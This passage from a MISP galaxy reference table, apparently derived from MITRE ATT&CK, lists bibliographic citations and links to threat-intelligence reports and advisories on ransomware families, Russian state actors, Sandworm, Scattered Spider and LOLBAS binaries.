The tag is: *misp-galaxy:references="Kroll Royal Ransomware February 13 2023"*

Table 22841. Table References

Links
https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive

Kroll Royal Deep Dive February 2023

Iacono, L. and Green, S. (2023, February 13). Royal Ransomware Deep Dive. Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="Kroll Royal Deep Dive February 2023"*

Table 22842. Table References

Links
https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive

Trend Micro Royal Linux ESXi February 2023

Morales, N. et al. (2023, February 20). Royal Ransomware Expands Attacks by Targeting Linux ESXi Servers. Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="Trend Micro Royal Linux ESXi February 2023"*

Table 22843. Table References

Links
https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html

Royal Rumble: Analysis of Royal Ransomware

Cybereason global soc & cybereason security research teams. (n.d.). Royal Rumble: Analysis of Royal Ransomware. Retrieved May 18, 2023.

The tag is: *misp-galaxy:references="Royal Rumble: Analysis of Royal Ransomware"*

Table 22844. Table References

Links
https://www.cybereason.com/blog/royal-ransomware-analysis

Cybereason Royal December 2022

Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="Cybereason Royal December 2022"*

Table 22845. Table References

Links
https://www.cybereason.com/blog/royal-ransomware-analysis

Rpcping.exe - LOLBAS Project

LOLBAS. (2018, May 25). Rpcping.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Rpcping.exe - LOLBAS Project"*

Table 22846. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Rpcping/

Threatpost New Op Sharpshooter Data March 2019

1. O'Donnell. (2019, March 3). RSAC 2019: New Operation Sharpshooter Data Reveals Higher Complexity, Scope. Retrieved September 26, 2022.

The tag is: *misp-galaxy:references="Threatpost New Op Sharpshooter Data March 2019"*

Table 22847. Table References

Links
https://threatpost.com/sharpshooter-complexity-scope/142359/

GCN RSA June 2011

Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="GCN RSA June 2011"*

Table 22848. Table References

Links
https://www.route-fifty.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/

RSA Shell Crew

RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.

The tag is: *misp-galaxy:references="RSA Shell Crew"*

Table 22849. Table References

Links
https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf

GitHub Rubeus March 2023

Harmj0y. (n.d.). Rubeus. Retrieved March 29, 2023.

The tag is: *misp-galaxy:references="GitHub Rubeus March 2023"*

Table 22850. Table References

Links
https://github.com/GhostPack/Rubeus

SOCPrime DoubleExtension

Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.

The tag is: *misp-galaxy:references="SOCPrime DoubleExtension"*

Table 22851. Table References

Links
https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/

SensePost Ruler GitHub

SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.

The tag is: *misp-galaxy:references="SensePost Ruler GitHub"*

Table 22852. Table References

Links
https://github.com/sensepost/ruler

Microsoft Cloud App Security

Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.

The tag is: *misp-galaxy:references="Microsoft Cloud App Security"*

Table 22853. Table References

Links
https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154

Microsoft Run Key

Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Microsoft Run Key"*

Table 22854. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys

Microsoft RunAs

Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.

The tag is: *misp-galaxy:references="Microsoft RunAs"*

Table 22855. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)

Microsoft runas - Duplicate

Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.

The tag is: *misp-galaxy:references="Microsoft runas - Duplicate"*

Table 22856. Table References

Links
https://technet.microsoft.com/en-us/library/bb490994.aspx

Wikipedia Run Command

Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.

The tag is: *misp-galaxy:references="Wikipedia Run Command"*

Table 22857. Table References

Links
https://en.wikipedia.org/wiki/Run_command

Secpod Winexe June 2017

Prakash, T. (2017, June 21). Run commands on Windows system remotely using Winexe. Retrieved

September 12, 2024.

The tag is: *misp-galaxy:references="Secpod Winexe June 2017"*

Table 22858. Table References

Links
https://web.archive.org/web/20211019012628/https://www.secpod.com/blog/winexe/

Rundll32.exe - LOLBAS Project

LOLBAS. (2018, May 25). Rundll32.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Rundll32.exe - LOLBAS Project"*

Table 22859. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Rundll32/

Attackify Rundll32.exe Obscurity

Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.

The tag is: *misp-galaxy:references="Attackify Rundll32.exe Obscurity"*

Table 22860. Table References

Links
https://www.attackify.com/blog/rundll32_execution_order/

Runexehelper.exe - LOLBAS Project

LOLBAS. (2022, December 13). Runexehelper.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Runexehelper.exe - LOLBAS Project"*

Table 22861. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Runexehelper/

ELC Running at startup

hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.

The tag is: *misp-galaxy:references="ELC Running at startup"*

Table 22862. Table References

Links
https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/

Broadcom Running Guest OS Operations

Broadcom. (n.d.). Running Guest OS Operations. Retrieved March 28, 2025.

The tag is: *misp-galaxy:references="Broadcom Running Guest OS Operations"*

Table 22863. Table References

Links
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere-sdks-tools/8-0/web-services-sdk-programming-guide/virtual-machine-guest-operations/running-guest-os-operations.html

Powershell Remote Commands

Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.

The tag is: *misp-galaxy:references="Powershell Remote Commands"*

Table 22864. Table References

Links
https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1

AutoIT

AutoIT. (n.d.). Running Scripts. Retrieved March 29, 2024.

The tag is: *misp-galaxy:references="AutoIT"*

Table 22865. Table References

Links
https://www.autoitscript.com/autoit3/docs/intro/running.htm

Runonce.exe - LOLBAS Project

LOLBAS. (2018, May 25). Runonce.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Runonce.exe - LOLBAS Project"*

Table 22866. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Runonce/

Apple Developer Doco Archive Run-Path

Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.

The tag is: *misp-galaxy:references="Apple Developer Doco Archive Run-Path"*

Table 22867. Table References

Links
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html

Runscripthelper.exe - LOLBAS Project

LOLBAS. (2018, May 25). Runscripthelper.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Runscripthelper.exe - LOLBAS Project"*

Table 22868. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/

Microsoft Run Command

Microsoft. (2023, March 10). Run scripts in your VM by using Run Command. Retrieved March 13, 2023.

The tag is: *misp-galaxy:references="Microsoft Run Command"*

Table 22869. Table References

Links
https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview

McAfee APT28 DDE2 Nov 2017

Paganini, P. (2017, November 9). Russia-Linked APT28 group observed using DDE attack to deliver malware. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="McAfee APT28 DDE2 Nov 2017"*

Table 22870. Table References

Links

http://securityaffairs.co/wordpress/65318/hacking/dde-attack-apt28.html

Security Affairs DustSquad Oct 2018

Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021.

The tag is: *misp-galaxy:references="Security Affairs DustSquad Oct 2018"*

Table 22871. Table References

Links
https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html

SecurityWeek Nomadic Octopus Oct 2018

Kovacs, E. (2018, October 18). Russia-Linked Hackers Target Diplomatic Entities in Central Asia. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="SecurityWeek Nomadic Octopus Oct 2018"*

Table 22872. Table References

Links
https://www.securityweek.com/russia-linked-hackers-target-diplomatic-entities-central-asia

Unit 42 July 19 2022

Peter Renals; Mike Harbison. (2022, July 19). Russian APT29 Hackers Use Online Storage Services, DropBox and Google Drive. Retrieved March 10, 2025.

The tag is: *misp-galaxy:references="Unit 42 July 19 2022"*

Table 22873. Table References

Links
https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/

U.S. Federal Bureau of Investigation 2 27 2024

U.S. Federal Bureau of Investigation. (2024, February 27). Russian Cyber Actors Use Compromised Routers to Facilitate Cyber Operations. Retrieved February 28, 2024.

The tag is: *misp-galaxy:references="U.S. Federal Bureau of Investigation 2 27 2024"*

Table 22874. Table References

Links

https://www.ic3.gov/Media/News/2024/240227.pdf

U.S. CISA SVR TeamCity Exploits December 2023

Cybersecurity and Infrastructure Security Agency. (2023, December 13). Russian Foreign Intelligence Service (SVR) Exploiting JetBrains TeamCity CVE Globally. Retrieved December 14, 2023.

The tag is: *misp-galaxy:references="U.S. CISA SVR TeamCity Exploits December 2023"*

Table 22875. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a

U.S. CISA Star Blizzard December 2023

Cybersecurity and Infrastructure Security Agency. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved December 14, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Star Blizzard December 2023"*

Table 22876. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a

CISA Star Blizzard Advisory December 2023

CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.

The tag is: *misp-galaxy:references="CISA Star Blizzard Advisory December 2023"*

Table 22877. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a

CISA Russian Gov Critical Infra 2018

CISA. (2018, March 16). Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="CISA Russian Gov Critical Infra 2018"*

Table 22878. Table References

Links

https://www.cisa.gov/news-events/alerts/2018/03/15/russian-government-cyber-activity-targeting-energy-and-other-critical-infrastructure-sectors

NSA/FBI Drovorub August 2020

NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020.

The tag is: *misp-galaxy:references="NSA/FBI Drovorub August 2020"*

Table 22879. Table References

Links
https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF

Cybersecurity Advisory GRU Brute Force Campaign July 2021

NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.

The tag is: *misp-galaxy:references="Cybersecurity Advisory GRU Brute Force Campaign July 2021"*

Table 22880. Table References

Links
https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF

U.S. CISA Russian GRU Targeting May 21 2025

Cybersecurity and Infrastructure Security Agency. (2025, May 21). Russian GRU Targeting Western Logistics Entities and Technology Companies. Retrieved May 22, 2025.

The tag is: *misp-galaxy:references="U.S. CISA Russian GRU Targeting May 21 2025"*

Table 22881. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141a

BleepingComputer Ebury March 2017

Cimpanu, C.. (2017, March 29). Russian Hacker Pleads Guilty for Role in Infamous Linux Ebury Malware. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="BleepingComputer Ebury March 2017"*

Table 22882. Table References

Links
https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/

Russian 2FA Push Annoyance - Cimpanu

Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022.

The tag is: *misp-galaxy:references="Russian 2FA Push Annoyance - Cimpanu"*

Table 22883. Table References

Links
https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/

Reuters Cold River January 6 2023

James Pearson, Christopher Bing. (2023, January 6). Russian hackers targeted U.S. nuclear scientists. Retrieved October 1, 2024.

The tag is: *misp-galaxy:references="Reuters Cold River January 6 2023"*

Table 22884. Table References

Links
https://www.reuters.com/world/europe/russian-hackers-targeted-us-nuclear-scientists-2023-01-06/

TrendMicro Void Dokkaebi April 23 2025

Feike Hacquebord, Stephen Hilt. (2025, April 23). Russian Infrastructure Plays Crucial Role in North Korean Cybercrime Operations. Retrieved May 29, 2025.

The tag is: *misp-galaxy:references="TrendMicro Void Dokkaebi April 23 2025"*

Table 22885. Table References

Links
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html

Unit42 Redaman January 2019

Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.

The tag is: *misp-galaxy:references="Unit42 Redaman January 2019"*

Table 22886. Table References

Links
https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/

U.S. CISA Unit 29155 September 5 2024

Cybersecurity and Infrastructure Security Agency. (2024, September 5). Russian Military Cyber Actors Target US and Global Critical Infrastructure. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Unit 29155 September 5 2024"*

Table 22887. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-249a

Russians Exploit Default MFA Protocol - CISA March 2022

Cyber Security Infrastructure Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved May 31, 2022.

The tag is: *misp-galaxy:references="Russians Exploit Default MFA Protocol - CISA March 2022"*

Table 22888. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa22-074a

CISA MFA PrintNightmare

Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022.

The tag is: *misp-galaxy:references="CISA MFA PrintNightmare"*

Table 22889. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa22-074a

US-CERT TA18-106A Network Infrastructure Devices 2018

US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="US-CERT TA18-106A Network Infrastructure Devices 2018"*

Table 22890. Table References

Links
https://us-cert.cisa.gov/ncas/alerts/TA18-106A

alert_TA18_106A

CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022.

The tag is: *misp-galaxy:references="alert_TA18_106A"*

Table 22891. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/TA18-106A

Google TAG COLDRIVER January 2024

Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.

The tag is: *misp-galaxy:references="Google TAG COLDRIVER January 2024"*

Table 22892. Table References

Links
https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/

Google TAG COLDRIVER January 18 2024

Wesley Shields. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved October 1, 2024.

The tag is: *misp-galaxy:references="Google TAG COLDRIVER January 18 2024"*

Table 22893. Table References

Links
https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/

UK GOV FSB Factsheet April 2022

UK Gov. (2022, April 5). Russia's FSB malign activity: factsheet. Retrieved April 5, 2022.

The tag is: *misp-galaxy:references="UK GOV FSB Factsheet April 2022"*

Table 22894. Table References

Links
https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet

Unit 42 Gamaredon February 2022

Unit 42. (2022, February 3). Russia's Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.

The tag is: *misp-galaxy:references="Unit 42 Gamaredon February 2022"*

Table 22895. Table References

Links
https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/

Wired Russia Cyberwar

Greenberg, A. (2022, November 10). Russia's New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.

The tag is: *misp-galaxy:references="Wired Russia Cyberwar"*

Table 22896. Table References

Links
https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/

unit42_gamaredon_dec2022

Unit 42. (2022, December 20). Russia's Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="unit42_gamaredon_dec2022"*

Table 22897. Table References

Links
https://unit42.paloaltonetworks.com/trident-ursa/

RyanW3stman Tweet October 10 2023

RyanW3stman. (2023, October 10). RyanW3stman Tweet October 10 2023. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="RyanW3stman Tweet October 10 2023"*

Table 22898. Table References

Links
https://twitter.com/RyanW3stman/status/1711732225996165135

Ryte Wiki

Ryte Wiki. (n.d.). Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Ryte Wiki"*

Table 22899. Table References

Links
https://en.ryte.com/wiki/Tracking_Pixel/

DFIR Ryuk in 5 Hours October 2020

The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="DFIR Ryuk in 5 Hours October 2020"*

Table 22900. Table References

Links
https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/

ANSSI RYUK RANSOMWARE

ANSSI. (2021, February 25). RYUK RANSOMWARE. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="ANSSI RYUK RANSOMWARE"*

Table 22901. Table References

Links

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf

Bleeping Computer - Ryuk WoL

Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.

The tag is: *misp-galaxy:references="Bleeping Computer - Ryuk WoL"*

Table 22902. Table References

Links
https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/

DFIR Ryuk 2 Hour Speed Run November 2020

The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.

The tag is: *misp-galaxy:references="DFIR Ryuk 2 Hour Speed Run November 2020"*

Table 22903. Table References

Links
https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/

DFIR Ryuk’s Return October 2020

The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.

The tag is: *misp-galaxy:references="DFIR Ryuk’s Return October 2020"*

Table 22904. Table References

Links
https://thedfirreport.com/2020/10/08/ryuks-return/

Rhino S3 Ransomware Part 1

Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.

The tag is: *misp-galaxy:references="Rhino S3 Ransomware Part 1"*

Table 22905. Table References

Links
https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/

Rhino S3 Ransomware Part 2

Gietzen, S. (n.d.). S3 Ransomware Part 2: Prevention and Defense. Retrieved April 14, 2021.

The tag is: *misp-galaxy:references="Rhino S3 Ransomware Part 2"*

Table 22906. Table References

Links
https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/

S3Recon GitHub

Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March 4, 2022.

The tag is: *misp-galaxy:references="S3Recon GitHub"*

Table 22907. Table References

Links
https://github.com/clarketm/s3recon

Dell Sakula

Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.

The tag is: *misp-galaxy:references="Dell Sakula"*

Table 22908. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/

Wine API samlib.dll

Wine API. (n.d.). samlib.dll. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Wine API samlib.dll"*

Table 22909. Table References

Links
https://strontic.github.io/xcyclopedia/library/samlib.dll-0BDF6351009F6EBA5BA7E886F23263B1.html

Sophos SamSam Apr 2018

Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.

The tag is: *misp-galaxy:references="Sophos SamSam Apr 2018"*

Table 22910. Table References

Links
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf

Symantec SamSam Oct 2018

Symantec Security Response Attack Investigation Team. (2018, October 30). SamSam: Targeted Ransomware Attacks Continue. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="Symantec SamSam Oct 2018"*

Table 22911. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/samsam-targeted-ransomware-attacks

Talos SamSam Jan 2018

Ventura, V. (2018, January 22). SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="Talos SamSam Jan 2018"*

Table 22912. Table References

Links
https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html

NSA Sandworm 2020

National Security Agency. (2020, March 28). Sandworm Actors Exploiting Vulnerability In EXIM Mail Transfer Agent. Retrieved March 1, 2024.

The tag is: *misp-galaxy:references="NSA Sandworm 2020"*

Table 22913. Table References

Links

https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf

Mandiant Sandworm November 9 2023

Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler McLellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved April 17, 2024.

The tag is: *misp-galaxy:references="Mandiant Sandworm November 9 2023"*

Table 22914. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/sandworm-disrupts-power-ukraine-operational-technology

Mandiant-Sandworm-Ukraine-2022

Ken Proska, John Wolfram, Jared Wilson, Dan Black, Keith Lunden, Daniel Kapellmann Zafra, Nathan Brubaker, Tyler Mclellan, Chris Sistrunk. (2023, November 9). Sandworm Disrupts Power in Ukraine Using a Novel Attack Against Operational Technology. Retrieved March 28, 2024.

The tag is: *misp-galaxy:references="Mandiant-Sandworm-Ukraine-2022"*

Table 22915. Table References

Links
https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology

ANSSI Sandworm January 2021

ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021.

The tag is: *misp-galaxy:references="ANSSI Sandworm January 2021"*

Table 22916. Table References

Links
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf

iSIGHT Sandworm 2014

Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.

The tag is: *misp-galaxy:references="iSIGHT Sandworm 2014"*

Table 22917. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html

DOJ - Cisco Insider

DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco's Network. Retrieved December 15, 2020.

The tag is: *misp-galaxy:references="DOJ - Cisco Insider"*

Table 22918. Table References

Links
https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network

SANS 1

Joshua Wright. (2020, October 13). Retrieved March 22, 2024.

The tag is: *misp-galaxy:references="SANS 1"*

Table 22919. Table References

Links
https://www.sans.org/blog/red-team-tactics-hiding-windows-services/

SANS 2

Joshua Wright. (2020, October 14). Retrieved March 22, 2024.

The tag is: *misp-galaxy:references="SANS 2"*

Table 22920. Table References

Links
https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/

push notification -mcafee

Craig Schmugar. (2021, May 17). Scammers Impersonating Windows Defender to Push Malicious Windows Apps. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="push notification -mcafee"*

Table 22921. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/scammers-impersonating-windows-defender-to-push-malicious-windows-apps/

ATT ScanBox

Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="ATT ScanBox"*

Table 22922. Table References

Links
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks

Mandiant SCANdalous Jul 2020

Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Mandiant SCANdalous Jul 2020"*

Table 22923. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/

WeLiveSecurity Scarab August 22 2023

Jakub Souček. (2023, August 22). Scarabs colon-izing vulnerable servers. Retrieved September 13, 2024.

The tag is: *misp-galaxy:references="WeLiveSecurity Scarab August 22 2023"*

Table 22924. Table References

Links
https://www.welivesecurity.com/en/eset-research/scarabs-colon-izing-vulnerable-servers/

Securelist ScarCruft May 2019

GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.

The tag is: *misp-galaxy:references="Securelist ScarCruft May 2019"*

Table 22925. Table References

Links
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/

Sysdig ScarletEel 2.0 2023

Alessandro Brucato. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved September 25, 2023.

The tag is: *misp-galaxy:references="Sysdig ScarletEel 2.0 2023"*

Table 22926. Table References

Links
https://sysdig.com/blog/scarleteel-2-0/

Sysdig ScarletEel 2.0

SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.

The tag is: *misp-galaxy:references="Sysdig ScarletEel 2.0"*

Table 22927. Table References

Links
https://sysdig.com/blog/scarleteel-2-0/

Sysdig Scarleteel February 28 2023

Alberto Pellitteri. (2023, February 28). SCARLETEEL: Operation leveraging Terraform, Kubernetes, and AWS for data theft. Retrieved February 2, 2023.

The tag is: *misp-galaxy:references="Sysdig Scarleteel February 28 2023"*

Table 22928. Table References

Links
https://sysdig.com/blog/cloud-breach-terraform-data-theft/

Red Canary June 26 2024

Laura Brosnan. (2024, June 26). Scarlet Goldfinch Taking flight with NetSupport Manager - Red Canary. Retrieved June 26, 2024.

The tag is: *misp-galaxy:references="Red Canary June 26 2024"*

Table 22929. Table References

Links
https://redcanary.com/blog/threat-intelligence/scarlet-goldfinch/

Scarlet Mimic Jan 2016

Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.

The tag is: *misp-galaxy:references="Scarlet Mimic Jan 2016"*

Table 22930. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

CrowdStrike Scattered Spider Profile

CrowdStrike. (n.d.). Scattered Spider. Retrieved July 5, 2023.

The tag is: *misp-galaxy:references="CrowdStrike Scattered Spider Profile"*

Table 22931. Table References

Links
https://www.crowdstrike.com/adversaries/scattered-spider/

U.S. CISA Scattered Spider November 16 2023

Cybersecurity and Infrastructure Security Agency. (2023, November 16). Scattered Spider. Retrieved November 16, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Scattered Spider November 16 2023"*

Table 22932. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a

CrowdStrike Scattered Spider BYOVD January 2023

CrowdStrike. (2023, January 10). SCATTERED SPIDER Exploits Windows Security Deficiencies with Bring-Your-Own-Vulnerable-Driver Tactic in Attempt to Bypass Endpoint Security. Retrieved July 5, 2023.

The tag is: *misp-galaxy:references="CrowdStrike Scattered Spider BYOVD January 2023"*

Table 22933. Table References

Links
https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/

Trellix Scattered Spider MO August 2023

Trellix et. al.. (2023, August 17). Scattered Spider: The Modus Operandi. Retrieved March 18, 2024.

The tag is: *misp-galaxy:references="Trellix Scattered Spider MO August 2023"*

